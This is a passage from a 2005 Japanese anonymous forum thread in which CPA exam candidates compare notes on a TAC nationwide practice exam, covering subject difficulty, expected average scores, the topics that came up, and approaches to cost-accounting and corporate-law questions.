自己株って本試験でも数回問われてる論点じゃん。
資産計上か資本から控除か、とか取得に要した費用は原価算入か費用処理か
とか処分に要した支出は費用か資本のマイナスかとか…

過去問分析は合否の鍵ぞ。

475 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:40:54 ID:???

無償取得うんぬんは俺も初耳だった

476 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:42:15 ID:???

おまえでさえ初耳ならみんな初耳だよ。
大成仏。埋没埋没。

477 ：476：2005/04/12(火) 22:42:49 ID:???

×大成仏。
○大丈夫。

478 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:49:20 ID:???

muzukasikatta

479 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:49:33 ID:???

会計法奇襲にのってないか？無償取得と有償取得の論拠は

480 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:54:38 ID:???

おまいらのバカさアピールはもういい

481 ：ﾐｯｷｰ：2005/04/12(火) 22:54:44 ID:???

　　　　　　　　　　　　　　　　,,,,,-- ,,,,
ﾉ"""ヽ　　　　＿＿　　　彡　　　ヾ
|　　　ヾ　ノ⌒　　　""--彡 :: 　σ　 ο ﾐ　　　
＼　　　::;;;::　　　　　　　;;　丿::: 　　 ▼ :::ﾐ
　　ヽ　:::　　　　　　　　　　 ;;┌=ヽノヾﾉ┐　　>>470　あんたも人の気にしとる事を言いなさんな。
　　　￣ヾ　　　　　　　　　 ∥　::::::::::::::| ∥　　
　　　　　 |;;　　　　　　　　::::∥;;;;;;;;;;;;;;;;;;ﾉ ∥ 　　
　　　.　　 |;; 　　　　:::: 　　..∥;;__---==;;;; ］　　
　　　　　　|;;　　 _　　::　:::;;;;;彳≡≡≡≡;;彡　
　　　　　　ヽ　;;;ﾉヽ　::::::::;;;;;;;; ﾐ≡≡≡≡彡.
　　　　　　 |.;;;「　《　::;;;;;;==.....ﾐ≡≡≡彡 .　
　　　　　　.　|　ヽ .. ゝ　;;;;;| ..ヾ:;;;;　| 　
　　　　　　　　|　　|　 |　:;;;;|　　| :::　| 　
　　　　　　　　"::;;;ﾉ　|　:;;;| ..　/ ::;;/　　　　　　　　　　
　　　　　　　　　　　　ヽ _;;ヽ　;; ;;;ノ　

482 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:57:08 ID:???

土日受験生が成績優秀者として名前の載らない理由がこのスレ見て分かったよ。

483 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:58:02 ID:???

>>468
土日で受ける香具師は池沼

484 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:58:48 ID:???

この模試って公開だろ？
別に大原生とＬＥＣ生が来ていてもふつーじゃん。
おおっぴらに大原テキストＬＥＣテキストを広げるのは勇気がいる行為かも
しれんがのう。。。

485 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 23:08:36 ID:???

俺、大原だけど受けちゃいました…
他校での順位って気になるので…
って、TAC生なら大規模だから気にならないのか…

486 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 23:13:29 ID:???

漏れＴＡＣ生だけど同じ期待を持ってるよ。
ＴＡＣ内での答練は全て同じ人が採点するわけではないので特に理論科目は
採点者によってつく点数が異なる。ある採点者は８０点満点で採点している
傍ら、他の採点者は７０点満点で採点してたりして、答練参加者数が多い
裏でこのような規模の不経済を発揮してるから、ＴＡＣ内での順位は分から
ない。
当然総合的な順位が気になるよ。

487 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 23:24:15 ID:j9lwx9yc

経営の問題が事前に漏れていたらしい

488 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 23:28:27 ID:???

どうしてそんなこと分かるのさ。

489 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 06:12:16 ID:???

全は同じ講師が採点するよ。
理論講師が３０００枚以上の採点はホントしんどい
計算科目の講師になりゃよかったってゆってた。

ＴＡＣもそれほどアホじゃないだろ

490 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 11:06:30 ID:???

何人かテキスト見ながら受けてる香具師がいるんだが・・・

491 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 14:55:55 ID:???

それただの不正行為だろ。試験官は何してんだ？
てゆーかそんなことしてまで受ける意味あるのか？
うちんところの試験官はヤメの合図の後もペン持ってたら不正行為とみなすと言うほど厳格だったぞ。

492 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 15:57:04 ID:???

TACは入門期のミニテストや実力テストの頃からテキスト・レジュメ見ながらやったり、
試験開始前に問題見たりとか何でもありだからな
そういう癖が染み付いてずっと抜けないやつが多いんだろう
そういう奴らは本試験でも同じことやるんじゃねえの？

493 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 16:32:50 ID:???

本試験で少しでも不正したら大変なことになるぞ。

494 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 17:53:47 ID:???

まぁカンニング組はどうせ本番の緊張した状態では実力発揮はムリでしょう。
受ける前から今年の短刀落ちｹﾃｰｲ

495 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 19:33:33 ID:???

↑なんでたかが全答練に熱くなってんだ？ｗ

496 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 20:13:36 ID:3RrboMBn

監査はボリュームが半端じゃなかったな

497 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 20:33:11 ID:???

>>490　
どこの校舎？
そんなんいるんだ

498 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 20:46:57 ID:aACPqYIC

全とういう名のつく答案練習だ。

499 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 21:01:53 ID:qsZoCuL7

全答練の採点厳しくない？

500 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 21:10:22 ID:???

皆さん全答練お疲レーショーン～♪
そして華麗に５００get

501 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 21:54:50 ID:???

今年、全体的に難易度低くない？
経済ちぃｋｓ

502 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 22:20:18 ID:qsZoCuL7

簡単だったの？

503 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 22:25:04 ID:???

監査激務図
原計意味不明
経済楽勝

504 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 22:31:02 ID:qsZoCuL7

経済できなかったよ

505 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 22:56:12 ID:???

>>503
６科目終了した段階で一番簡単なのは監査だと感じた。
そんなにヒネリもなく、誰でも暗記しているような基本的な出題も随所に
散りばめられていたと思うぞ。

506 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 23:01:42 ID:???

>>498
最初に開発した中国人の全答練（ＣＨＥＮ　　ＴＡＯ－ＲＩＥＮＧ）の
開発者としての功労に報いるために本人の名を冠しているんじゃなかったっけ？

507 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 23:06:10 ID:???

全答練は自分でできたと思っても案外点低いよ。
去年の経営が特にそうだった・・・・。

508 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 23:30:40 ID:imp89pnE

監査は書ききれなかった、という意見が多かった

509 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 23:35:54 ID:???

>>507
経営ってそういう傾向が強い科目でしょう。
科目自体が有する固有リスクって気がする。

510 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 23:37:56 ID:qsZoCuL7

今回の経済と簿記はどうよ？

511 ：一般に公正妥当と認められた名無しさん：2005/04/13(水) 23:40:40 ID:???

>>509
>科目自体が有する固有リスクって気がする。
確かに。今年の経営も全部埋めたけど、どのくらい点数くるか疑問。

去年の上位２００位全科目の平均点も低かったからさ
今年は簡単に感じるけど平均低いのかな？？
短答に特化してるんかもしれないけど・・・・。

512 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 00:15:15 ID:h6qxdacC

去年は全体の平均点が異常に低くなかった？
問題の難しさはそこまででもなかったが。

513 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 08:44:17 ID:???

ﾔﾊﾞｲ
ﾁｺｸｼｿｳ…(>д<)

514 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 15:13:52 ID:3IBJ5LUp

商法どうだった？？

515 ：ｋ：2005/04/14(木) 15:15:05 ID:3IBJ5LUp

商法どうだった？？

516 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 15:20:43 ID:???

粉飾請負人になるための第一関門

517 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 15:52:28 ID:3IBJ5LUp

ほんとに受かるのかなあ。。

518 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 16:21:39 ID:???

受かったら厨房に入って監査したいなー

519 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 17:56:51 ID:l75uCik4

商法良問だったと思う。

俺は、試験用六法を初めて用いて、時間的に撃沈。
条文引くのに、予想の３倍ぐらい時間がかかった。
慣れる以外に、速く引くコツあるのかな？

520 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 18:09:09 ID:3IBJ5LUp

第２問はＴＡＣ生にしかわからない論点　偏りがあったと思う

521 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 18:53:06 ID:???

oだけど、第二問平均ぐらいはできたと思うよ。
問題文がわかりにくかったけど。

522 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 19:03:48 ID:???

条文写すだけでしょ

523 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 19:22:34 ID:???

>>520
なんでタク生しかわからないんだ？もはや典型じゃないの

524 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 21:06:23 ID:???

Oにも似た論点がテキストに載ってるよ！

525 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 21:15:33 ID:???

>>497
関西です

526 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 22:24:38 ID:???

神Bにはいなかったと思うが…

527 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 22:33:38 ID:LwSSImMT

>>524

528 ：一般に公正妥当と認められた名無しさん：2005/04/14(木) 22:34:14 ID:LwSSImMT

>>５２４　どこにあった？？

529 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 00:26:28 ID:???

第13問はみんなばっちし？

530 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 00:27:48 ID:???

今年は若干難易度落としたのかな？

531 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 00:45:16 ID:???

商法は、２６４、２６５、２６６、２６６の３あたりが絶対でると
思ったのに。次回に出題かな。

532 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 00:55:09 ID:???

難しい→簡単
経済、材表、監査、簿記、原型、商法、経営

533 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 00:57:48 ID:???

何が出題されたか教えてくらさい。

534 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 01:17:41 ID:???

>>533
簿記は伝票+帳簿と外貨特商。
財表は一般基準と税効果。
経営はサイモンとアノマリー。
原計は標準、スループット、EVA。
監査は主体論、連結・中間。
経済は家計、企業、45°、H=O。
商法は同一性説、委員会。

535 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 01:20:15 ID:???

>>534

全く暇な奴だw

536 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 01:32:03 ID:???

連結（埋没）、moving strike convertible bond
自己株式＆資産負債アプローチ（埋没）、
成果主義の欠点２つ、リターンリバーサルと投資家の心理、ネットとメディアの融合、買収の標的となる会社の特徴
総合原価計算（埋没）、最後のやつも埋没
中間監査の目的、5号意見、日本の監査の特徴
新古典派
合併・株式移転、監査法人は利益配当をなしうるか

537 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 05:42:03 ID:???

>>536

T全答練受けなかった他校生だけど、なんで連結と総合原計埋没なの？

538 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 09:24:13 ID:???

だめだ、監査がちっともできなかった

539 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 09:29:46 ID:???

俺、受けて良かった…
ﾁｬﾝﾈﾗｰの情報の渦に呑み込まれる所だたよ…

540 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 10:02:42 ID:GCLK2mlT

全答練14時間×2回。
どうせなら全答練二回目＋大原全答練の組み合わせがいいと思うんだが。

541 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 10:36:21 ID:???

どうせ短答で８割あぼーんなんだろ？

542 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 11:24:39 ID:???

簡単だったけど今回だけですよね？去年の見たんですけどもっと難しかったんですけど

543 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 13:24:35 ID:???

漏れはでき悪かったけど全科目平均はいった感じだから今んところはよしとしよ。

544 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 17:27:17 ID:???

今年初受験なんだけど、あれで簡単なんですか？
自分の無力を思い知りました・・

545 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 17:47:26 ID:???

まあ、大抵のヴェテにとっては赤子の手を捻るようなもんだったろう

546 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 17:50:53 ID:P5VTUFDf

↑てかそんなベテはとっとと受かって欲しい。っていってる俺が来年はベテかも…

547 ：あ：2005/04/15(金) 18:41:21 ID:WbEprnWv

問題明かすな！　土日組みの点数あがるだろ！

548 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 19:09:01 ID:???

べテの俺の平均点予想
簿記　50＋40
財表　50＋50
経営　40＋40
原計　50＋40
監査　50＋50
経済　50＋50
商法　45＋45
まあこんなところで。計算は去年よりも簡単だよな。
でも入門上がりもいるからもう少し下がるかもね

549 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 20:02:20 ID:???

理論で平均１００ってすげくね？

550 ：あ：2005/04/15(金) 20:13:00 ID:WbEprnWv

簿記の第２問難しくなかった？

551 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 20:29:13 ID:???

>>548
経済の平均低すぎ
１２０ぐらいだろ。

552 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 20:48:57 ID:WbEprnWv

あおるな

553 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 21:04:49 ID:???

全答練の受験率ってどれくらい？50％は軽く切ってるよね？TACボロ儲けじゃんw

554 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 21:12:40 ID:WbEprnWv

風邪ひいた・・不安だァ

555 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 23:02:05 ID:WbEprnWv

明日　土日組だね

556 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 23:48:14 ID:???

微妙に簿記が難しかったなー
平均80いかないんじゃない？

557 ：一般に公正妥当と認められた名無しさん：2005/04/15(金) 23:48:43 ID:???

個別は簡単じゃなかった？

558 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 00:06:43 ID:5fPohA2Q

かりに去年の本試験の経済が全答練そのものだったら、平均点どのくらいだったかな？
合格者で経済ができる人は、１５０を余裕で超えたそうだけど。

559 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 00:08:09 ID:???

う～む。
点数でしか議論できないところがもどかしい。
早く土日あけないかな。

560 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 00:11:16 ID:???

更にベテの俺が平均予想しますよ
（　）は去年
簿記７５（７０）
財表７０（５６）
経営５０（３５）
原計７０（５９）
監査６５（６１）
経済８０（６８）
商法９０（８４）
こんなもんだろ。問題は確かに簡単だったけど
意外と平均はあがらんと思う。
てか全答より短答だろ

561 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 00:19:10 ID:???

>>560
去年の経営３５ってなにこれ？
いかなる難問奇問珍問がでたの？

562 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 00:30:16 ID:???

>>561
経営の全答は毎年採点が超きつい。
今年も書きやすい問題だったけど
平均５０もいかんかもしれん。
だから穴埋めできたかどうかの勝負になる
ちなみに俺は去年48点で700番ぐらいだったよ

563 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 00:37:13 ID:???

>>562
その分母（全受験者数）は何人だったの？

564 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 00:45:46 ID:???

民法ﾉｹﾓﾉ…ｼｮﾎﾞｰﾝ

565 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 00:50:28 ID:???

合併が難しかった。商法

566 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 01:05:33 ID:???

>>562
3753人みたい
>>564
俺経済だから民法はわからん。
ごめんね

567 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 01:14:23 ID:???

>>566
トリビアのサンプル数算定について尋ねる教授はいつも違うんだけどいつも
「２０００人調べれば信頼できる結果が得られるでしょう」っていうんだよね。
だから３０００人以上のサンプルなら十分信頼できるデータだね。

568 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 02:22:46 ID:???

ﾉ・_・)ﾉ　＞tanassin

569 ：a：2005/04/16(土) 15:32:26 ID:b3aHNHrP

土日組のみなさん　簿記どうでした？？

570 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 20:15:59 ID:/yzlCi2S

一日目終了しましたねっ

571 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 21:05:47 ID:???

まさは「だいぶ余裕を持って解くことができた」って吹聴してたけど、本当かな？

572 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 21:08:23 ID:/yzlCi2S

簿記むずい

573 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 21:14:03 ID:???

1問目簡単そうだけど結構難しかったなあ。
問題文の理解とか、有価証券とかに時間とられた。

574 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 22:05:38 ID:popxGh5I

土日組と平日組って人数の割合はどんな感じ？

575 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 22:06:36 ID:popxGh5I

なんか俺のＩＤが素敵じゃないか

576 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 22:27:19 ID:/yzlCi2S

今日のできはみなさんどうでした？？！

577 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 22:32:23 ID:???

原計がいまいちやったわ

578 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 22:35:36 ID:???

もう内容はなしてもいいんじゃないか

579 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 22:37:41 ID:???

原計の最後の理論(無形の科益)何書いた？
ライフサイクルコストの話じゃ駄目かな。

580 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 22:54:45 ID:???

どう考えても過去５年で一番簡単だったよな？

581 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 22:59:32 ID:???

あんまり、簡単簡単って書いてると
２回目が恐ろしい事になりそうだから止めてくれ・・・。

582 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 23:00:01 ID:/yzlCi2S

簿記の第２問どうですか？？

583 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 23:22:36 ID:/yzlCi2S

というか難しい

584 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 23:30:04 ID:???

原型の最初の１問目って何法(先入等)？
生産状況っていわれても何も指示ねえし

585 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 23:35:23 ID:???

多分移動平均法

586 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 23:41:10 ID:???

漏れは（１）は「当期投入＜減損発生点＜期首仕掛」だったからＦＩＦＯで、
（２）は「当期投入＜期首仕掛＜減損発生点」だったから平均法でやった。

587 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 23:56:45 ID:???

俺は3年目だがそんな判断基準初めて聞いた。
普通知ってるものなのかね？

588 ：一般に公正妥当と認められた名無しさん：2005/04/16(土) 23:58:12 ID:???

>>587
多分、新試験委員の鳥居対策と思う
関西タックではバッチリやってた

589 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 00:07:58 ID:???

>>588
クールビューティY？

590 ：586：2005/04/17(日) 00:20:44 ID:???

>>587
漏れも全く知らないが、問題文を読むといかにも原価配分方法を減損の
発生点で判断しろと言わんばかりだったのでそうやった。

591 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 00:22:16 ID:G6xw0bBK

>>589
ノン
おっとりFの方

592 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 00:31:37 ID:???

>>586
なんでそうなるの？
理論的にﾜｶﾗﾅｲ

593 ：586：2005/04/17(日) 00:44:33 ID:???

>>592
「当期投入＜減損発生点＜期首仕掛」ということは減損は当期投入分から
出ているということだから期首仕掛の原価が混入しないＦＩＦＯで、
「当期投入＜期首仕掛＜減損発生点」ということは減損は両方から出ている
ということだから両者が混ざる平均法でって発想。

あくまで漏れがそう勝手に判断しただけだからね。
正答は来週まで。

594 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 00:59:18 ID:???

>>586
正解だと思う。
俺は（１）は平均法で、（２）はFIFOでやったよ・・・

595 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 01:25:54 ID:99NXzE0C

全答練の原計の理論は、マニアックすぎない？
まあ今年は計算が一切なく理論オンリーという説もあるが。

ところで話は変わるけど、「過去に試験委員を務めたことのある学者を、数年のブランクを経て再度試験委員に任命する」ケースはあるのかな？

596 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 08:08:33 ID:???

>>586
納得できる説明ですね。問題解いてる際には全く気付かなかった。
>>595
過去３年だけですが、そのようなケースはなかったです。
もっと過去に遡ればあるかもしれませんね。

597 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 10:12:28 ID:???

安定発生どう解いた？広本の方法でいいんだよな？

598 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 11:41:54 ID:???

「安定発生」のキーワードを見つけたらまず台形で解くやり方だろ。

599 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 12:06:14 ID:???

平均発生も台形書くやつで解くの？

600 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 12:17:00 ID:qpU0oMqc

簿記　連結キャッシュどうでした？？

601 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 12:30:07 ID:???

広本の方法は死ぬほどタックでやるけどさ、殆ど出ないよな

602 ：592：2005/04/17(日) 12:32:11 ID:???

>>593
ﾚｽ有難う～納得した!!

603 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 18:09:39 ID:G0EhyIei

解答冊子ゲトー。

商法２問目の７パターン分類ができた人間てどのくらいいるんだろうか…

604 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 18:32:58 ID:SnrPiJS2

解説のテープっていつ配られるの？

605 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 18:48:29 ID:99NXzE0C

修正パーシャルプランのところ全部やっちまった....欝だ。
ところで監査第⑩問の最後だけど、「証取法が開示を求めている書類」には、
中間貸借対照表・中間損益計算書・中間キャッシュフロー計算書も含まれるんじゃないの？
問題文に、「個別ベースを前提とする」とはあるが「年度ベースを前提とする」とは書いてないから。

606 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 19:37:42 ID:???

↑
それ、言ってた奴居たよー
でも、スペース的に･･･

607 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 21:12:27 ID:qpU0oMqc

経済どうだった？

608 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 21:13:57 ID:qpU0oMqc

商法の第２問難しかったですよね～？

609 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 21:19:00 ID:???

７パターン全部書いとくれ

新設分割

610 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 21:57:36 ID:nDezolh3

Ｂ社にとって、
設立時の１現物出資２財産引受、
３事後設立
４新株発行の現物出資
５営業全部の譲渡
６営業の一部譲渡

611 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 22:00:15 ID:rRxh8HkM

>>610
５つゲット！
とはいえ２と３は一言ですましたぞ　それ以上書けん・・・

612 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 22:03:36 ID:qpU0oMqc

大原にはその論点なかった気がするが。。。

613 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 22:15:00 ID:???

原計どーやった？
出来てたはずと思ったところが結構飛んでてがっくり。

614 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 23:16:29 ID:qpU0oMqc

どーなの　今年の難易度は

615 ：一般に公正妥当と認められた名無しさん：2005/04/17(日) 23:45:13 ID:???

俺、新設分割しか書いてねーって！
しかもラスト３行くらいまでびっちり書いたし！１／７しか点数ねーのかよ！
ええーっ！まじでー！

616 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 00:05:51 ID:eAjQf0sk

商法2問目は阿倍レジュメに似たような問題があったけど
４つのﾊﾟﾀｰﾝしか載ってなかったような。
４つは書けたけど。

617 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 00:19:32 ID:2Bp5WoKb

簿記　やや難
財表　普通
経営　普通
原計　難
監査　易
経済　普通
商法　やや難　あたりか
　

618 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 01:20:09 ID:???

去年と比較すると

簿記　やや易(一問目が簡単過ぎ。二問目は差つかず)
財表　やや易(短答論点多すぎ。ソフトウェア出るわけない)
経営　易(トピカル過ぎ。タックは知らないけど大原テキストなら易問)
原計　易(総合・標準は去年と比べたら楽過ぎ。理論もっと出せ。後半も易)
監査　やや難(去年が簡単過ぎ)
経済　やや易(アクセスベースで経済得意な人ならかなりの高得点)
商法　やや易(去年の答練で思っいきり出た。弥永対策で…)

619 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 02:00:17 ID:???

原計　易(総合・標準は去年と比べたら楽過ぎ。理論もっと出せ。後半も易)

これは嘘だろう

620 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 02:02:18 ID:???

標準は簡単だったけど、他は易と呼べるほど簡単でもなかったような希ガス。

621 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 08:31:40 ID:???

簿記の問い１って、減価償却とか採点箇所になってたな
なんか裏の意味あるのかと思ったよ

622 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 09:13:49 ID:???

ただのボーナスステージだろ。

623 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 09:37:51 ID:???

パの対楽天戦といったところか

624 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 18:32:34 ID:???

・資本維持は下駄はかせないと点数つかないくらい出来が悪いらしい。
・簿記は４０＋４０あたりが平均らしい。
・経済は２０＋４０あたりが平均らしい。
・経営は余計なこと書いて失点してる人が多いらしい。
・原計は既存設備の除却の効果を忘れてる人が多いらしい。

625 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 19:30:34 ID:bHX/4FGj

商法の模範解答って、分量的に無理がない？
２時間であそこまでは書ききれん。
それと第１３問の自己株の消却だけど、「特定の者から買い受けるときは特別決議を要する云々～」は蛇足じゃない？
あくまで「償却する際の」株主保護を聞いてるんじゃないのかな？

626 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 20:00:17 ID:???

任意消却とは自己株式取得が原則として禁止されていた時代に、会社が株主から
任意に株式を買い受けて遅滞なく消却手続を行うこと指していたらしい。
これを現行制度に当てはめると「自己株買い受け＋取締役会決議で消却」となる。
だから歴史的経緯に鑑みたら、買い受けるところから消却手続が始まってると
いうことができる。

だから蛇足でもないんじゃないか。

627 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 20:42:22 ID:???

624はナニゲに信憑性あるよ宇泣きがする

628 ：624：2005/04/18(月) 20:49:51 ID:???

>>627
ナニゲにじゃないって。
今日解答解説会に行って直に聞いたんだってばさ。

629 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 21:33:40 ID:???

簿記の平均そんなに低いんだ・・・

630 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 21:42:12 ID:???

>>629
本校受験者を採点したところの途中経過らしいぞ。
本校以外の受験者の出来がバツグンに良いのならもっと上がるであろ。

631 ：627：2005/04/18(月) 22:13:34 ID:???

>>628
そうだったのか
疑ってごめん。情報ありがとう。

632 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 22:57:18 ID:???

平均低いな・・・
まあそんなものなのかもしれない
ちょっと安心したよ

633 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 23:00:14 ID:???

みんな原計できた？
漏れは
　①正常仕損の正常品への負担忘れ
　②ボックスの数値書き間違い
　③差額利益０
　④時間切れ

こいつをどう思う？

634 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 23:41:30 ID:???

おいらは原計110くらい
振替ネタは全部落としたけど、第一問の数字は全部あってた

>>633
おいらも差額利益ゼロにしたよ

635 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 23:50:26 ID:???

>>634
減損発生点８０％の問題よく当てたね。
解答見たが、あんなややこしいやり方みたの初めてだったし。
安定発生のパターンとほとんど同じような解法じゃなかった？

たとえ試験中に思いついても泥沼にはまりそうで手をだせなかったよ。

636 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 23:55:28 ID:QVP5mDNG

>>633
オイラは、修正パーシャルプランだってのに何をとち狂ったか普通のパーシャルプランで記入しちまったよ....。
本番でなくてよかった、と思うしかない。

637 ：一般に公正妥当と認められた名無しさん：2005/04/18(月) 23:56:53 ID:???

>>635
大原生なんで解いた事あったんよ

てゆーか合計で何点くらい取れば合格レベルなの？

638 ：一般に公正妥当と認められた名無しさん：2005/04/19(火) 00:35:11 ID:???

>>636
漏れもそう思いたいな。
ボックスに書く数値を写し間違えたのなんて初めてだったよ。すごくショック。
やっぱ緊張してたのかなぁ。

>>637
原計については今日の解答解説会でも点数について特に言及していなかった
ので合格レベルは分からない。
結果を待つしかないけど、簿記の第一問で６０点取れてたら上位だと言われて
たので、その感覚を原計に類推すると１１０点はイイ線行ってるんじゃないかあなぁ。

＞大原生なんで解いた事あったんよ
問題文のどのキーワードからその「解いた事あった」パターンだと気づいたの？

639 ：一般に公正妥当と認められた名無しさん：2005/04/19(火) 22:41:28 ID:???

